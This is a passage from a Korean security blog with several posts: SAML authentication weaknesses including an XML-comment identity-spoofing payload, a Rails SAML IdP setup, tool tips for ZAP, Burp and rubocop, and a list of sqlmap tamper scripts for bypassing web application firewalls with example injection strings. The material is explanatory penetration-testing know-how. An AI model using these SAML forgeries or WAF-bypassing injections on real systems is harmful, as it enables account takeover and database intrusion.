대표적으로 메일주소 같은 데이터인데요. B IdP에서 누군가 test@hahwul.com 으로 인증받았다고 했을 때 C는 인증받지 않았지만 test@hahwul.com이 있다고 거짓으로 꾸며낼 수 있고 A는 단순히 test@hahwul.com의 인증정보가 온 것이기 때문에 A 사이트의 test@hahwul.com 계정의 정보를 내어주게 됩니다.
이로써 공격자는 쉽게 사용자 계정 하나를 탈취할 수 있게되죠. 대표적으로 OneLogin 쪽 기능만 보아도, 최초 인증 사용자(관리자)가 각 하위 사용자들을 만들 수 있고 이는 별도의 메일 인증이나 검증 과정 없이 그냥 만들 수 있습니다. 이렇기 떄문에 이 부분은 꼭 체크가 필요합니다.

정리하자면..

Missing Signature : Signature가 없는 경우에도 처리하는지, 처리하면 SAML 문서 위조가 가능
Invaild Signature : 잘못된 Signature에 대해 처리하는지, 처리하면 SAML 문서 위조가 가능
Diffrent Idp or SP : 지정된 IdP, SP에서 온 요청 이외에 다른 IdP, SP에서 온 요청이 처리되는지, 처리되면 사용자 인증 계정을 쉽게 탈취할 수 있어짐

Open vulnerability

마지막으로 알려진 취약점에 대한 테스트입니다. 작년말~올 초쯤 ruby, python 등 각 언어별 saml 라이브러리에서 심각한 취약점이 발견되어 저 또한 테스트를 진행했었는데요.이와 같이 공개된 라이브러리 취약점은 낮은 버전 사용 시 연결된 서비스에 모두 영향이 생기게 됩니다.
주기적으로 SAML 라이브러리 취약점에 대해 체크하시고 중요한 사항이 나오면 버전 업그레이드가 되도록 유도해야 합니다.

요 부분이였던 것 같은데요...

python-saml - CVE-2017-11427
ruby-saml - CVE-2017-11428
saml2-js - CVE-2017-11429
OmniAuth - CVE-2017-11430
shibboleth - CVE-2018-0489
Duo Network Gateway - CVE-2018-7340

간략하게 내용 공유드리면 이렇습니다. (이거 내용 정리할 떄 좀 재미있었단 말이죠. 물론 블로그에선 찾을 수 없습니다.)

saml libaray들이 Assertion에서 SAML 문서를 만드는 과정과 이를 읽어들릴 때 사용하는 XML Parser의 처리 방식이 약간 달라서 발생한 문제입니다.

예를들어 인증에 사용되는 mail 주소 부분이 이렇다고 하면...

<saml:mailIdzzz>hahwul@gail.com</saml:mailIdzzz>

아래과 같은 코드가 넘어왔을 때 어떻게 처리하게 될까요?

<saml:mailIdzzz>hahwul@gail.com<!-- this is comment!zzzzzz -->.vaha.comzz</saml:mailIdzzz>

saml Assertion 처리 부분은 주석을 날려서 hahwul@gmail.com.vaha.comzz 으로 보지만 XML Parser 쪽은 주석 뒷부분을 날려서 hahwul@gmail.com 으로 보게됩니다.
이렇게 되면 hahwul@gmail.com.vaha.comzz 으로 IdP에서 인증받고 실제론 hahwul@gmail.com으로 접속할 수 있게 됩니다. 이게 메일일 경우엔 이렇지만 그냥 단순하게 user_id 값을 받는다는 둥 할때 공격 성공 가능성을 훨씬 높아집니다.
(쉬우니깐!)

Conclusion

최근에 삽질했던 내용들 약간 정리해봤습니다. 미리 천천히 작성해두고 오늘 마무리한거지만, 평일날 낮에 잠깐이지만 시간되어 카페에 있는다는게 즐겁네요(사실 회사에 있어도 재미있으니 뭐.. 그냥 오랜만에 밖에 나온 느낌이 신선하달까, 그래봤자 앞뒤로 할일이 많음)

다시 본론으로 와서 SAML 관련 부분은 분명 더 테스트해볼 수 있는 사항이 있을겁니다. 제가 아는 선에선 좀 정리해봤는데 모자란 부분이 분명 있을거에요. 추가로 습득한 내용이 생기면 회사에 정리해두고, 나중에...시간나면 블로그에도 추가 정리하도록 하겠습니다.

감사합니다 :)

Share: | Coffee Me:

7/12/2018

Awesome 루비 프로그래밍 스타일 가이드(Awesome ruby programming style guide) and rubocop

오늘은 루비 개발 관련해서 좋은 가이드가 있어 공유드릴까 합니다. (우선 공유해주신 tommy 정말 감사합니다)



정말 정리가 잘 되어있습니다. 천천히 내용 읽어보면서 고쳐야할 습관들이 많이 보이네요.

[ LINK ]

https://github.com/dalzony/ruby-style-guide/blob/master/README-koKR.md


대표적인 것 몇가지 보면 ..

탭은 들여쓰기 단위별로 공백 2칸을 사용하라.(소프트 탭 사용) 하드 탭 사용 안함

# 나쁜 예 - 공백 4칸
def some_method
    do_something
end

# 좋은 예
def some_method
  do_something
end

 =>최근에서야 2칸으로 맞추려고 노력중인데, 안그래도 딱 있네요.


(, [의 뒤, ], )의 앞에 공백을 쓰지 마라. {의 주변과 }의 앞에 공백을 써라.

# 나쁜 예
some( arg ).other
[ 1, 2, 3 ].each{|e| puts e}

# 좋은 예
some(arg).other
[1, 2, 3].each { |e| puts e }

 => 확실히 아래가 가독성이 좋긴 하네요 {} 공백 넣어야겠어요.

등등 매우 많습니다. 내용은 위에 링크 참고하셔서 읽어보시면 좋을 것 같습니다.

Rubocop을 통한 코드 자가진단

이 가이드를 기반으로 한 코드 분석 패키지가 존재합니다. Rubocop인데요, 이러한 문법 스타일과 다른 코드가 얼마나 있는지, 어떤 부분이 있는지 찾아주기 때문에 교정하는데 있어 도움이 됩니다.
(https://github.com/rubocop-hq/rubocop)

gem 으로 설치해줍니다. (처음에 robocop 인줄 알고 삽질했음. 심지어. robocop이란 gem 이 존재함….)
#> gem install rubocop


그리고 코드를 테스트할 디렉토리에서 rubocop 명령을 날려주면 테스트 후 결과를 리턴해줍니다.
최근에 짜고있는 recon-raven 소스로 체크해보겠습니다.

#> rubocop
Inspecting 5 files
WWC.C

Offenses:

rraven.rb:1:31: C: Layout/SpaceAroundOperators: Surrounding space missing for operator +.
require File.dirname(__FILE__)+"/config/config.rb"
                              ^
rraven.rb:1:32: C: Style/StringLiterals: Prefer single-quoted strings when you don't need string interpolation or special symbols.
require File.dirname(__FILE__)+"/config/config.rb"
                               ^^^^^^^^^^^^^^^^^^^



워우.... 엄청나게 나옵니다.. 천천히 하나씩 교정해나가는 습관을 들여봐야곘네요 :)
감사합니다.

Share: | Coffee Me:

7/10/2018

OWASP ZAP과 Burp suite의 색상 바꾸기(Change color ZAProxy, Burp Suite with simple trick)

아주 예전부터 Burp suite, ZAP의 색상을 바꿀 수 있으면 좋겠다는 생각을 했었습니다. 관련해서 양쪽 개발자분꼐 여쭤봤지만 동일하게 코드 수정을 매우 어렵다고 답변 들었습니다. (당연한 이야기..., 역시 자바란)

그러던 중 최근에 트위터로 재미있는 소식을 하나 접했는데요, 리눅스 창 관리자를 약간 이용하면 색상 변환이 가능합니다.


Thank you xer0 :)

ZAP, Burp의 WM_CLASS 찾기

우선 바꿀 프로그램의 WM_CLASS를 찾습니다. xprop로 찾으면 편합니다. 명령어 입력 후 마우스로 포인팅해서 값을 얻어옵니다.

#> xprop | grep WM_CLASS
WM_CLASS(STRING) = "OWASP ZAP", "OWASP ZAP"

ZAProxy는 "OWASP ZAP", Burp suite는 이미지와 같습니다.

burp는 창을 여러개 띄우니 한번 더 확인하고 진행해주세요.

compton 창 관리자를 이용하여 invert-color 하기


compton 창 관리자를 이용해 해당 WM_CLASS의 창인 경우 색상을 invert 해줍니다.

#> apt-get install compton
(전 안쓰니 설치부터..)

--invert-color-include 옵션을 주면 다음 규칙 인자값에 맞는 창에 대해서만 invert-color 합니다.
(보통 어둡게 쓰는 경우 오히려 밝아지지만, Java Application의 기본 창 특성 상 밝기 떄문에 어두워집니다)

#> compton --invert-color-include 'class_g="OWASP ZAP"'


TroubleShotting(XFCE > XFWM4 사용중인 경우)

보통은... 여기서 바로 적용되겠지만, 저는 xfce에서 xfwm4 창 관리자를 쓰고 있기 떄문에 에러가 발생합니다.

> compton --invert-color-include 'class_g="OWASP ZAP"'
Another composite manager is already running


아... 에러가 발생.. 다른  composite manager 가 동작중이라는데..

xfwm 동작 여부를 보면..

#> ps -aux |  grep xfwm
hahwul    1009  0.7  0.2 195904 24492 ?        S    Jul09   0:06 xfwm4
root      4330  0.0  0.0  12980  1072 pts/0    S+   00:01   0:00 grep xfwm

네 말그대로 동작중이여서 안된거 같습니다. 우선 기능을 내릴 수 있을지 옵션을 보면..

#> xfwm4 -h
Usage:
  xfwm4 [OPTION…] [ARGUMENTS...]

Help Options:
  -h, --help                   Show help options
  --help-all                   Show all help options
  --help-gtk                   Show GTK+ Options
  --help-sm-client             Show session management options

Application Options:
  --daemon                     Fork to the background
  --compositor=on|off|auto     Set the compositor mode
  --replace                    Replace the existing window manager
  -V, --version                Print version information and exit
  --display=DISPLAY            X display to use

--compositor 옵션으로 설정이 가능할듯 하네요. 우선 테스트를 위해 기능을 내려봅시다

#> xfwm4 --compositor=off

그리고 --replace를 하는 순간..

#> xfwm4 --replace

xfwm4이 종료된게 아니기 떄문에 분명히 안될거라는 확신과 함께 설정 에러가 발생해서 xfwm4가 꺼졌습니다.
그냥..

#> pstree -p | grep xfwm4
#> kill -9 [xfwm4의 pid]

가 좋을 듯 하네요. 이후 아까 구문을 다시 돌려주면..

#> compton --invert-color-include 'class_g="OWASP ZAP"'

잘 반영됩니다.




다만 xfce 기본 창 관리자의 장점들을 사용할 수 없기 때문에 xfwm4에 대해 좀 더 찾아봅니다.

--help-all로 좀 더 상세히 보면,,
#> xfwm4 --help-all
Usage:
  xfwm4 [OPTION…] [ARGUMENTS...]

Help Options:
  -h, --help                   Show help options
  --help-all                   Show all help options
  --help-gtk                   Show GTK+ Options
  --help-sm-client             Show session management options

GTK+ Options
  --class=CLASS                Program class as used by the window manager
  --name=NAME                  Program name as used by the window manager
  --screen=SCREEN              X screen to use
  --sync                       Make X calls synchronous
  --gtk-module=MODULES         Load additional GTK+ modules
  --g-fatal-warnings           Make all warnings fatal

Session management options
  --sm-client-id=ID            Session management client ID
  --sm-client-disable          Disable session management

Application Options:
  --daemon                     Fork to the background
  --compositor=on|off|auto     Set the compositor mode
  --replace                    Replace the existing window manager
  -V, --version                Print version information and exit
  --display=DISPLAY            X display to use


오예, --class, --name 옵션이 있네요.

라고 썼지만, 추가적인 삽질이 필요할 것 같네요. 마저 쓰다간 밤샐 느낌이기 때문에 적당히 마무리하고, 후속 포스팅을 올리도록 하겠습니다.
감사합니다 :)

Share: | Coffee Me:

7/09/2018

Ruby on Rails(ROR) 에서 SAML IdP(Identity Provider) 구현하기(SSO)

최근에 뜻밖에 SAML 관련 공부를 하고 있는지라, 몇가지 내용 메모/공유할겸 포스팅 작성해봅니다.

오늘은 Ruby on Rails에서 SAML IdP(Identity Provider)를 구성하는 방법에 대해 이야기할까 합니다.

SAML(Security Assertion Markup Language)?

sso 인증 방식에는 대표적으로 cas, oauth, saml이 있습니다. cas는 쿠키 베이스로 상위 도메인이 동일한 경우에만 인증을 사용할 수 있고(당연한 이야기, 웹 정책 상 타 도메인 쿠키를 접근할 수가 없지요) oauth와 saml은 크로스 도메인간 인증이 가능한 방식입니다.

둘다 많이 쓰이는걸로 알고 있습니다. 자세히 설명드리기엔 시간이 늦은지라 아래 개념정도는 파악해두시고, 구글링해서 SAML에 대해서 더 찾아보시는게 좋을 것 같습니다.

SP(Service Provider)
 - 클라이언트가 접근하려는 서비스

IdP(Identity Provider)
 - 클라이언트의 접근 정보를 인증하고 SP에게 인증된 사용자라는 정보를 전달

Metadata
 - SSO를 활성화하는 SP 및 IdP 가 생성하는 XML 파일이며 메타데이타의 교환으로 SP와 IdP의 신뢰 관계게 형성됨

https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language

rails app 구성

우선 테스트에 사용할 레일즈 앱을 하나 만들어봅시다.
#> rails new idp_test

saml_idp 라이브러리를 쓰기 위해선 Gemfile에 추가해주시고 bundler로 설치해줍니다.

#> vim Gemfile
‘gem 'saml_idp' # 추가

#> bundle install

or

#> gem install saml_idp

그냥 gem으로 설치해도 무방합니다.

router.rb 설정

우선 router.rb를 수정해서 saml_idp 에서 제공하는 API 페이지로 데이터가 넘어가도록 라우팅을 잡아줍니다.

get '/saml/auth' => 'saml_idp#new'          # 인증
get '/saml/metadata' => 'saml_idp#show'     # 메타데이터 가져오기
post '/saml/auth' => 'saml_idp#create'      # 신규 인증정보 생성
match '/saml/logout' => 'saml_idp#logout', via: [:get, :post, :delete] #삭제

Controller 만들어주기

이제 실제 코드동작을 할 컨트롤러를 만들어줍니다. 이름은 saml_idp라고 지었습니다.

#> rails g  controller saml_idp

처리 로직을 추가합시다. 아 그리고 User는 미리 만들어야합니다. scaffold로 만들면 쉽습니다

#> vim app/controller/saml_idp_controller.rb

class SamlIdpController < SamlIdp::IdpController # 인증 정보가 날라왔을 때 User 데이터에서 데이터를 가져와 비교한 후 결과를 리턴해줍니다.
  def idp_authenticate(email, password) # not using params intentionally
    user = User.get_email(email).first
    user && user.valid_password?(password) ? user : nil
  end
  private :idp_authenticate

  def idp_make_saml_response(found_user) # saml_response 생성
    # NOTE encryption is optional
    encode_response found_user, encryption: {
      cert: saml_request.service_provider.cert,
      block_encryption: 'aes256-cbc',
      key_transport: 'rsa-oaep-mgf1p'
    }
  end
  private :idp_make_saml_response

  def idp_logout # 로그아웃 시
    user = User.by_email(saml_request.name_id)
    user.logout
  end
  private :idp_logout
end

Initalizers 작성 

initializers를 통해서 Application 시작 시 동작을 지정할 수 있는데, 이 구간에서 saml 관련 세팅을 미리 잡아줄 수 있습니다.
우선 코드 작성 전 인증에 사용될 인증서를 하나 만들어줍니다.

#> openssl req -x509 -sha256 -nodes -days 3650 -newkey rsa:2048 -keyout myKey.key -out myCert.crt

key 파일과 crt 파일이 남는데, 각각 아래 코드단에서 cert, private key로 등록시켜줍니다.

#> vim ./config/initializers/saml_test.rb

SamlIdp.configure do |config|
  base = "your domain!!!zzz"

  config.x509_certificate = <<-CERT
-----BEGIN CERTIFICATE-----  # 해당 영역에 myCert.crt 인증서 삽입
CERTIFICATE DATA
-----END CERTIFICATE-----
CERT

  config.secret_key = <<-CERT
-----BEGIN RSA PRIVATE KEY-----  # myKey.key 파일(private key) 삽입
KEY DATA
-----END RSA PRIVATE KEY-----
CERT

  # config.password = "secret_key_password"  # [ + ] 매번 요청마다 콘솔에서 비밀번호를 물어보는데, config.password에 한번 설정해두면 질의없이 넘어갑니다.
  # config.algorithm = :sha256
  #config.organization_name = "Your Organization"
  #config.organization_url = "http://example.com"
  # config.base_saml_location = "#{base}/saml"
  # config.reference_id_generator                                 # Default: -> { UUID.generate }
  # config.attribute_service_location = "#{base}/saml/attributes"
  # config.single_service_post_location = "#{base}/saml/auth"
  # config.session_expiry = 86400                                 # Default: 0 which means never

  # Principal (e.g. User) is passed in when you `encode_response`
  #
  # config.name_id.formats # =>
  #   {                         # All 2.0
  #     email_address: -> (principal) { principal.email_address },
  #     transient: -> (principal) { principal.id },
  #     persistent: -> (p) { p.id },
  #   }
  #   OR
  #
  #   {
  #     "1.1" => {
  #       email_address: -> (principal) { principal.email_address },
  #     },
  #     "2.0" => {
  #       transient: -> (principal) { principal.email_address },
  #       persistent: -> (p) { p.id },
  #     },
  #   }

  # If Principal responds to a method called `asserted_attributes`
  # the return value of that method will be used in lieu of the
  # attributes defined here in the global space. This allows for
  # per-user attribute definitions.
  #
  ## EXAMPLE **
  # class User
  #   def asserted_attributes
  #     {
  #       phone: { getter: :phone },
  #       email: {
  #         getter: :email,
  #         name_format: Saml::XML::Namespaces::Formats::NameId::EMAIL_ADDRESS,
  #         name_id_format: Saml::XML::Namespaces::Formats::NameId::EMAIL_ADDRESS
  #       }
  #     }
  #   end
  # end
  #
  # If you have a method called `asserted_attributes` in your Principal class,
  # there is no need to define it here in the config.

  # config.attributes # =>
  #   {
  #     <friendly_name> => {                                                  # required (ex "eduPersonAffiliation")
  #       "name" => <attrname>                                                # required (ex "urn:oid:1.3.6.1.4.1.5923.1.1.1.1")
  #       "name_format" => "urn:oasis:names:tc:SAML:2.0:attrname-format:uri", # not required
  #       "getter" => ->(principal) {                                         # not required
  #         principal.get_eduPersonAffiliation                                # If no "getter" defined, will try
  #       }                                                                   # `principal.eduPersonAffiliation`, or no values will
  #    }                                                                      # be output
  #
  ## EXAMPLE ##
  # config.attributes = {
  #   GivenName: {
  #     getter: :first_name,
  #   },
  #   SurName: {
  #     getter: :last_name,
  #   },
  # }
  ## EXAMPLE ##

  # config.technical_contact.company = "Example"
  # config.technical_contact.given_name = "Jonny"
  # config.technical_contact.sur_name = "Support"
  # config.technical_contact.telephone = "55555555555"
  # config.technical_contact.email_address = "example@example.com"

  service_providers = {
    "some-issuer-url.com/saml" => {
      fingerprint: "9E:65:2E:03:06:8D:80:F2:86:C7:6C:77:A1:D9:14:97:0A:4D:F4:4D",
      metadata_url: "http://some-issuer-url.com/saml/metadata"
    },
  }

  # `identifier` is the entity_id or issuer of the Service Provider,
  # settings is an IncomingMetadata object which has a to_h method that needs to be persisted
  config.service_provider.metadata_persister = ->(identifier, settings) {
    fname = identifier.to_s.gsub(/\/|:/,"_")
    FileUtils.mkdir_p(Rails.root.join('cache', 'saml', 'metadata').to_s)
    File.open Rails.root.join("cache/saml/metadata/#{fname}"), "r+b" do |f|
      Marshal.dump settings.to_h, f
    end
  }

  # `identifier` is the entity_id or issuer of the Service Provider,
  # `service_provider` is a ServiceProvider object. Based on the `identifier` or the
  # `service_provider` you should return the settings.to_h from above
  config.service_provider.persisted_metadata_getter = ->(identifier, service_provider){
    fname = identifier.to_s.gsub(/\/|:/,"_")
    FileUtils.mkdir_p(Rails.root.join('cache', 'saml', 'metadata').to_s)
    full_filename = Rails.root.join("cache/saml/metadata/#{fname}")
    if File.file?(full_filename)
      File.open full_filename, "rb" do |f|
        Marshal.load f
      end
    end
  }

  # Find ServiceProvider metadata_url and fingerprint based on our settings
  config.service_provider.finder = ->(issuer_or_entity_id) do
    service_providers[issuer_or_entity_id]
  end
end

위에 주석으로 달긴했지만 config.password에 키 만들때 들어간 패스워드를 설정해주면 매번 요청마다 콘솔에 비밀번호를 묻지 않게됩니다.

실행 및 접근

모든게 준비되었으면 웹을 돌려봅시다.

#> rails s

우선 테스트로 metadata에 접근해봅시다. 데이터가 잘 받아와진다면 정상 동작입니다 :)

http://127.0.0.1/saml/metadata

추가로 sp(service provider)에서 해당 rails app으로 saml 인증 요청을 날리게 되면 아래와 같이 서버가 잘 처리해줍니다.


Share: | Coffee Me:

7/08/2018

inquirer 라이브러리를 이용한 커맨드라인 기반 체크박스 만들기(Ruby/Python)

recon-raven 개발 중 커맨드라인 기반 체크박스(모듈같은거 고를 수 있도록..) 구성해보면 어떨까 해서 학생때 커맨드라인 기반 게임 만든 기억을 더듬으며 직접 만들다가 좋은 라이브러리를 찾아 쉽게 해결하였습니다.



오늘은 이를 쉽게 가능하게 해준 inquirer 라이브러리에 대해 이야기할까 합니다.

inquirer on ruby

inquirer은 Interactive user prompt를 구현을 위한 라이브러리로 루비, 파이썬, 자바스크립트 등 여러가지 언어를 지원하고 일반적인 사용자 입력 구현, 체크박스, 라디오 버튼 등 구현이 편리합니다.
전 Ruby를 많이 사용하기 때문에 Ruby 중점적으로 이야기를 드리겠습니다.

우선 gem을 통해 라이브러리를 설치해줍니다.

#> gem install inquirer

코드안에서 inquirer 로드 후 Ask class를 이용하여 user prompt를 구현하면 됩니다. 많이 사용하는 체크박스와 리스트를 보면..

require 'inquirer'

idx = Ask.list "선택해주세요", [ # 단일 선택
  "XSS",
  "CSRF",
  "XXE"
]

require 'inquirer'

idx = Ask.checkbox "선택해주세요", [ # 다중 선택 가능
  "XSS",
  "CSRF",
  "XXE"
]

< list >
< checkbox >

이런식으로 Ask의 checkbox, list 메소드를 이용해서 아래와 같이 커맨드라인에 구성할 수 있습니다. 여기서 list는 단일 선택만(마리 라디오 버튼처럼), checkbox는 다중 선택이 가능합니다.
선택은 space 키로 하며 enter 키로 confirm할 수 있습니다.

추가로 사용자로 부터 선택된 데이터는 idx에 array 형태로 저장됩니다. 이를 가지고 처리 로직에 활용하면 됩니다.



관련해서 추가적인 API 정보나 라이브러리 코드는 rubydoc이랑 github 웹 참고해주세요 :)
https://www.rubydoc.info/gems/inquirer/0.2.1
https://github.com/arlimus/inquirer.rb

python..

루비랑 비슷비슷합니다. pip로 설치해주고 inquirer 객체에서 메소드로 실행하믄 됩니다.

#> pip install inquirer

import inquirer

questions = [inquirer.Checkbox(
    'interests',
    message="선택해주세요?",
    choices=['XSS', 'CSRF', 'SQLI', 'XXE', 'Deserialization', 'SSRF'],
)]
answers = inquirer.prompt(questions)  # returns a dict
print(answers['interests'])


Share: | Coffee Me:

7/05/2018

SQLMap Tamper Script를 이용한 WAF&Protection Logic Bypass

SQLMap의 Tamper script 관련하여 정리해둡니다.

보통 많이 사용하는 Tamper script

--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

e.g
#> sqlmap -u "http://127.0.0.1?q=target" --dbs --no-cast --level 3 --tamper=apostrophemask,apostrophenullencode,base64encode,between

Tamper scripts

apostrophemask: utf8로 인코딩 처리

apostrophenullencode: '(quot) 앞에 (null) 붙여줌
 - ' 입력 시 %27로 들어감

base64encode: Base64로 인코딩

between: NOT BETWEEN 0 AND 구문 사용(
 - Mysql(4,5,5.5), Mssql2005, Oracle 10g, PostgreSQL 8.3~4, 9.0) 전용

chardoubleencode: 공백을 %09 인코딩

charencode: URl 인코딩 두번(보편적으로 Double URL Encoding 이라고 부르는 것들)
 - ' 가 %2527 형태로..

charunicodeencode: URL 인코딩인데 between 처럼 버전 제한
 - Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
 - SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

equaltolike: equal 구문 대신 LIKE 구문으로 처리
 - Mssql 2005、MySQL 4, 5.0 and 5.5
 - SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1

greatest:
 - MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
 - 1 AND A > B ==> 1 AND GREATEST(A,B+1)=A

ifnull2ifisnull:
 - MySQL 5.0 and 5.5
 - IFNULL(1, 2) ==> IF(ISNULL(1),2,1)

multiplespaces: 공백 여러개 넣음

nonrecursivereplacement: 중복구문 처리
 - 1 UNION SELECT 2 — ==> 1 UNION SELESELECTCT 2-

percentage: 구문 사이에 % 삽입
 - SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

randomcase: 대소문자 랜덤 삽입
 - INSERT ==> InseRt

securesphere: ????
 - 1 AND 1=1 ==> 1 AND 1=1 and ‘zzz’=’zzz’

space2comment: 공백 자리를 주석 처리
 - SELECT id FROM users ==> SELECT/**/id/**/FROM/**/users

space2plus: 공백 자리를 + 처리
 - SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank: CRLF(%0d%a) 삽입
 - SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

unionalltounion: ALL SELECT를 그냥 SELECT로 변경
 - 1 UNION ALL SELECT ==> -1 UNION SELECT

unmagicquotes:
 - 1' AND 1=1 ==> 1%bf%27 —

이외에도 추가로 더 있는데, 아래 링크 참고해주세요
https://github.com/sqlmapproject/sqlmap/tree/master/tamper

Share: | Coffee Me:

ZAProxy Passive scan custom script 만들기(Passive rules)

요즘 몇가지 만들어쓰고 있는데, 간단하게 틀이되는 코드와 대략적인 설명으로 글 작성합니다.

Zaproxy에선 Context menu, passive scan, active scan 등 모든 기능 구간에 대한 기본적인 script template 코드를 제공해주고 있고, 다른 코드 참조해서 작성하면 어렵지 않습니다.
(확장기능 만드는거보다 쉬워서 계속 스크립트 적용해서 최적화하면 Burp보다 좋다고 생각됩니다. 이런면에선 정말 강점이 두드러지는듯)

Script for information leakage(feat Regex)

코드는 Javascript 코드 기준으로 진행하겠습니다. 우선 Passive scan script의 뼈대가 되는 함수는 scan() 입니다. 해당 script가 enable 되면 scan으로 ps(zap 객체인듯?), msg(request/response 데이터), src의 인자값을 받습니다.
원하는 처리 로직대로 코드 작성해주시고, ps의 raiseAlert 메소드를 통해 ZAP의 Alert 부분으로 데이터를 넘겨줄 수 있습니다.

function scan(ps, msg, src) {
    url = msg.getRequestHeader().getURI().toString(); // msg에서 url 데이터 가져옴
    alertRisk = 2
    alertReliability = 2
    alertTitle = "script 이름"
    alertDesc = "취약점 내용"
    alertSolution = "대응방안"

    cweId = 0
    wascId = 0
    re = /REGEX!/g    // 적용할 정규식 룰!

    contenttype = msg.getResponseHeader().getHeader("Content-Type")
    unwantedfiletypes = ['image/png', 'image/jpeg','image/gif','application/x-shockwave-flash'] // Media 계열들 무시
   
    if (unwantedfiletypes.indexOf(""+contenttype) >= 0) {
        //
            return
    }else{
        body = msg.getResponseBody().toString()

        if (re.test(body)) {  // 정규식 테스트
            re.lastIndex = 0 // After testing reset index
            var your_data = []
            while (comm = re.exec(body)) {
                your_data.push(comm[0]);
            }
            ps.raiseAlert(alertRisk, alertReliability, alertTitle, alertDesc, url, '', '', your_data.toString(), alertSolution, '', cweId, wascId, msg); // Alert에 등록
              // 각각 모두 Alert 페이지에 나타나는 항목들입니다.
        }

    }
}

이 코드를 Enable 시키면 Response 데이터에서 정규식으로 원하는 문자열이 있는 경우에 Alert 쪽으로 넘겨주게 됩니다. 우선 뼈대는 있기 떄문에 로직만 넣어주면 쉽게쉽게 원하는 기능을 만들 수 있습니다.

혹시라도 재미있는 아이디어 있다면 댓글, 메일 등 남겨주세요 :)
(이미 회사에서 여러가지 적용하고 있지만..ㅋㅋㅋ)


Share: | Coffee Me:

7/01/2018

Ruby에서 Exception 처리( begin-rescue-else-ensure-end )

벌써 7월이네요.. 오늘은 매번 코드 작성할때마다 귀찮지만, 뺴먹을 수 없는 중요한 친구에  Exception, 즉 예외처리에 이야기할까 합니다.
거의 정리 차원에서 간단하게 쓰는거니 빠르게 시작하죠.

begin-rescue-else-ensure-end

루비에서 Exception 처리는 begin-rescue-else-ensure-end 형태로 이루어집니다. 코드영역과 예외처리, 예외 이외 상황에 대한 처리, 무조건 처리 구간으로 보시면 좋습니다.
대충 코드로 요약하믄..

class MyLibrary
  class Error < RuntimeError
  end

  class A_ExceptionClass < Error   #Error에 대한 클래스 정의들..
  end

  class B_ExceptionClass < Error
  end
end

[.....]

begin
  # 일반적인 코드 영역, 에러 발생 시 아래  exception으로 바로 넘어감
rescue A_ExceptionClass => a_var
  # Exception 상황  A 를 처리, 데이터는 a_var 에 저장됨
rescue B_ExceptionClass => b_var
  # Exception 상황  B 를 처리, 데이터는 b_var 에 저장됨
else
  # Exception이 raise되지 않은 경우 실행할 코드
ensure
  # Exception 여부와 상관없이 무조건 실행할 코드
end


더 자세한 처리 방법은 Ruby doc(https://ruby-doc.org/core-2.2.0/Exception.html) 참고해주세욤 :)
Share: | Coffee Me: